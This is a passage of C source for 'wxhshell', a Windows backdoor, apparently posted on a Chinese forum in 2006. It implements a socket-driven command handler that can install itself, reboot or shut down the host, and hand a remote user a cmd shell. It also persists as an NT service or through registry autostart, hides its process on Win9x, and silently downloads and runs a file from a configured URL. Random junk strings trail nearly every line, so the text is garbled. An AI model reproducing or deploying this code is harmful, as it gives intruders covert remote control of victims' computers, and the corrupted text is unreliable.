    switch(cmd[0]) { ~H)s>6>#v  
  MI,b`pQ  
  // 帮助 xpb,Nzwt^  
  case '?': { 'p{N5eM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !Xzne_V<  
    break; YgN:$+g5  
  } G; *jL4  
  // 安装 os3jpFeG'  
  case 'i': { o JLpFL  
    if(Install()) Tf bB1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g2&%bNQ-5  
    else \:To>A32  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U^n71m>]%T  
    break; #9a\Ab  
    } ~rN:4Q]/  
  // 卸载 d\_$Nb*  
  case 'r': { 4w\@D>@}H  
    if(Uninstall()) :&{:$-h!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8-2e4^ g(  
    else j<HBzqP%6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "\x<Zg;  
    break; 4NY}=e5  
    } d3nMeAI AO  
  // 显示 wxhshell 所在路径 <;R}dlBASW  
  case 'p': { o<Esh;;*nm  
    char svExeFile[MAX_PATH]; 0Q]ZS  
    strcpy(svExeFile,"\n\r"); v|WTm#  
      strcat(svExeFile,ExeFile); N '8u}WO  
        send(wsh,svExeFile,strlen(svExeFile),0); ^{IF2_h"  
    break; "zn<\z$l  
    } N}j]S{j}'  
  // 重启 VDyQv^=#  
  case 'b': { /*zngp @  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /{[Y l[{"<  
    if(Boot(REBOOT)) rY~!hZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N5yt'.d  
    else { Hz*5ZIw  
    closesocket(wsh); %|tDb  
    ExitThread(0); JBYmy_Su  
    } g?e$B}%  
    break; t==CdCl  
    } 1kd\Fq^z$  
  // 关机 ``zgw\f[%  
  case 'd': { g[NmVY-o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J@Qt(rRxi  
    if(Boot(SHUTDOWN)) 5a`f % h%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9?jD90@ }  
    else { Q|DVB  
    closesocket(wsh); <Va7XX%>  
    ExitThread(0); H8'q Y  
    } X6hp}  
    break; _uYidtxo=  
    } A>?_\<Gp  
  // 获取shell SH009@l_8  
  case 's': { isG8S(}IW&  
    CmdShell(wsh);  .J0Tn,m  
    closesocket(wsh); z(8:7 G  
    ExitThread(0); yobcAV`  
    break; pM|m*k  
  } i-<1M|f  
  // 退出 Sj[iKCEKtv  
  case 'x': { SU,#:s(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uIvAmc4  
    CloseIt(wsh); ]g3RVA%\l  
    break; ef Moi'v  
    } '4"9f]:  
  // 离开 )$> pu{o  
  case 'q': {  W0&x0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (uxe<'Co|  
    closesocket(wsh); ma gZmY~  
    WSACleanup(); dr[sSBTY"  
    exit(1); :rBPgrt  
    break; -lb,0   
        } 3w>S?"W#  
  } or8`.h EHI  
  } KkIgyLM  
{\-9^RL  
  // 提示信息 pGsk[.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R [[ #r5q  
} ~fht [S?@M  
  } EZY <k#  
k(]R;`f$W  
  return; xnR;#Yc  
} qdOUvf  
VqIzDs  
// shell模块句柄 Nueb xd  
int CmdShell(SOCKET sock) DO^ J=e  
{ ~0 PR>QJ  
STARTUPINFO si; s2X<b `  
ZeroMemory(&si,sizeof(si)); vg"$&YX9"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k$ORVU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v|7=IJ  
PROCESS_INFORMATION ProcessInfo; C9FzTg/c  
char cmdline[]="cmd"; \ ";^nk*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -Gyj]v5y`c  
  return 0; ,bGYixIfYZ  
} SJJ[y"GvD  
O u-/dE%  
// 自身启动模式 }<9IH%sgF  
int StartFromService(void) T!yI+<  
{ kR !O-@GJ]  
typedef struct '| 6ZPv&N  
{ &*nq.l76X`  
  DWORD ExitStatus; j`o_Stbg  
  DWORD PebBaseAddress; 11g_!X -g@  
  DWORD AffinityMask; b;5&V_  
  DWORD BasePriority; I" hlLP  
  ULONG UniqueProcessId; G &QGQ  
  ULONG InheritedFromUniqueProcessId; K-2oSS56  
}   PROCESS_BASIC_INFORMATION; Sp]u5\  
LZI[5tA"  
PROCNTQSIP NtQueryInformationProcess; QUO'{;,  
"|^-Yk\U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O}3|UI!`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =A]*r9  
EZee kxs  
  HANDLE             hProcess; Q ^{XM  
  PROCESS_BASIC_INFORMATION pbi; 5I6u 2k3  
^B!cL~S*I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -FGM>~x  
  if(NULL == hInst ) return 0; G&z^AV  
dQQ!QbI(.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @9e}kiW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8svN*`[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =3dR-3  
V=de3k&p  
  if (!NtQueryInformationProcess) return 0; i1 >oRT{Z  
I R|[&}z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BA6(Owb  
  if(!hProcess) return 0; Aryp!oW  
s`2q(`}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _O3X;U7rc  
;u*I#)7  
  CloseHandle(hProcess); j_{f(.5  
3]li3B'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W QqOXF  
if(hProcess==NULL) return 0; wA2^ I70-  
&[7z:`+Y##  
HMODULE hMod; 1}Th@Vq  
char procName[255]; 8.zYa(< 2  
unsigned long cbNeeded; }B ?_>0  
W P9PX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); odTa 2$O  
Y3JIDT^  
  CloseHandle(hProcess); ?3y>K!D(A  
GMlJM  
if(strstr(procName,"services")) return 1; // 以服务启动 `d}t?qWS;F  
hplxs#  
  return 0; // 注册表启动  OK(xG3T  
} &,tj.?NCn  
j;J`P H  
// 主模块 INEE 37%  
int StartWxhshell(LPSTR lpCmdLine) rV fZ_\|  
{ NpH9}, 1i  
  SOCKET wsl; FA{'Ki`  
BOOL val=TRUE; ;]l`Q,*OXb  
  int port=0; =wMq!mBd  
  struct sockaddr_in door; -_M':  
#wZbG|%  
  if(wscfg.ws_autoins) Install(); d*dPi^JjC  
wUfm)Q#  
port=atoi(lpCmdLine); ~U4Cf >  
(QS 0  
if(port<=0) port=wscfg.ws_port; %6la@i  
f\?1oMO\  
  WSADATA data; xYY^tZIV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >FS}{O2c  
[QIQpBL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %<|cWYM="z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _ BoA&Ism  
  door.sin_family = AF_INET; RG9iTA'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ; o(:}d  
  door.sin_port = htons(port); j_.tg7X  
qIxe)+.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n72kJ3u.  
closesocket(wsl); yQ !keGj  
return 1; U, 8mYv2|  
} {I/t3.R`  
8Vy/n^3)  
  if(listen(wsl,2) == INVALID_SOCKET) { 1.5R`vKn]  
closesocket(wsl); o1k+dJUd  
return 1; XePGOw))O  
} dM-~Qo  
  Wxhshell(wsl); 2J (nJT"  
  WSACleanup(); ,hZ?]P&  
PbfgWGr  
return 0; 2Z?l,M~  
-XnOj2  
} ANfy+@  
-;Te+E_  
// 以NT服务方式启动 (C.aQ)|T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8T8]gM  
{ O)"Z%B  
DWORD   status = 0; >*\yEH9"  
  DWORD   specificError = 0xfffffff; :\C/mT3xL)  
?J-D6;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cYBjsN(!A|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3S1{r )[j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $~\Tl:!#?  
  serviceStatus.dwWin32ExitCode     = 0; ! %B-y 9\  
  serviceStatus.dwServiceSpecificExitCode = 0; ZZYtaVF:  
  serviceStatus.dwCheckPoint       = 0; +O)ZB$w4  
  serviceStatus.dwWaitHint       = 0; N,.awA{  
IJC]Al,df  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o6:@j#b  
  if (hServiceStatusHandle==0) return; ,(]k)ym/  
"'XYW\bI  
status = GetLastError(); Gyrc~m[$  
  if (status!=NO_ERROR) $ab{GxmX'4  
{ b`ksTO`}x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %cJdVDW`L  
    serviceStatus.dwCheckPoint       = 0; =1xVw5^F  
    serviceStatus.dwWaitHint       = 0; *1T~ruNqa  
    serviceStatus.dwWin32ExitCode     = status; 0#ON}l)>  
    serviceStatus.dwServiceSpecificExitCode = specificError; bR$5G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c` N_MP  
    return; Vy^mEsQC+h  
  } xk3)#*  
C =B a|Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eR/X9<  
  serviceStatus.dwCheckPoint       = 0; # %'%LY=  
  serviceStatus.dwWaitHint       = 0; cVYu(ssC4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WI.+9$1:P  
} ;bL?uL  
vl?fCO  
// 处理NT服务事件,比如:启动、停止 ;iJ}[HUo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Cv/3-&5S  
{ SpOSUpl%  
switch(fdwControl) L(X}37  
{ i8DYC=r  
case SERVICE_CONTROL_STOP: 2wgcVQ Awa  
  serviceStatus.dwWin32ExitCode = 0; 9*Fc+/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &)|f|\yh"  
  serviceStatus.dwCheckPoint   = 0; CK_\K,xVT  
  serviceStatus.dwWaitHint     = 0; +ZV?yR2yn  
  { W .Al\!Gi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]BTISaL-R  
  } ey\(*Tu9  
  return; ~q}]/0-m  
case SERVICE_CONTROL_PAUSE: v+dT7* ^@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VTi; y{  
  break; PWyFys  
case SERVICE_CONTROL_CONTINUE: [|YJg]i-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <l>L8{-3  
  break; Zc*#LsQh.`  
case SERVICE_CONTROL_INTERROGATE: Eh[NKgYL  
  break; &yqk96z  
}; A-eCc#I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1KJ[&jS ]  
} N ]GF>kf:  
-Byl~n3*D  
// 标准应用程序主函数 6^FUuj.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a`Q-5* \;z  
{ HD z"i  
`[x'EJp#  
// 获取操作系统版本 fvG4K(  
OsIsNt=GetOsVer(); [kPl7[OL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Xj:\B] v]  
q@Zeu\T,*#  
  // 从命令行安装 5o0H7k]  
  if(strpbrk(lpCmdLine,"iI")) Install(); t,kai6UM  
s##XC^;p[  
  // 下载执行文件 a!PN`N28  
if(wscfg.ws_downexe) { 3v)`` n@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *4l6+#W  
  WinExec(wscfg.ws_filenam,SW_HIDE); cWI7];/d;  
} ,rhNXx  
<V#]3$(S  
if(!OsIsNt) { ETfoL.d$(  
// 如果时win9x,隐藏进程并且设置为注册表启动 s]xn&rd_  
HideProc(); e^hI[LbNC  
StartWxhshell(lpCmdLine); ZPHatC  
} 0rc'SEl  
else h6D1uM"o   
  if(StartFromService()) ^5-SL?E  
  // 以服务方式启动 X u>]$+u#  
  StartServiceCtrlDispatcher(DispatchTable); a3:1`c/~\  
else ^K^rl 9  
  // 普通方式启动 SqoO"(1x  
  StartWxhshell(lpCmdLine); hP jL  
IY|>'}UU#  
return 0; hTQ]xN)  
}
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只看该作者 1 发表于: 2006-10-10
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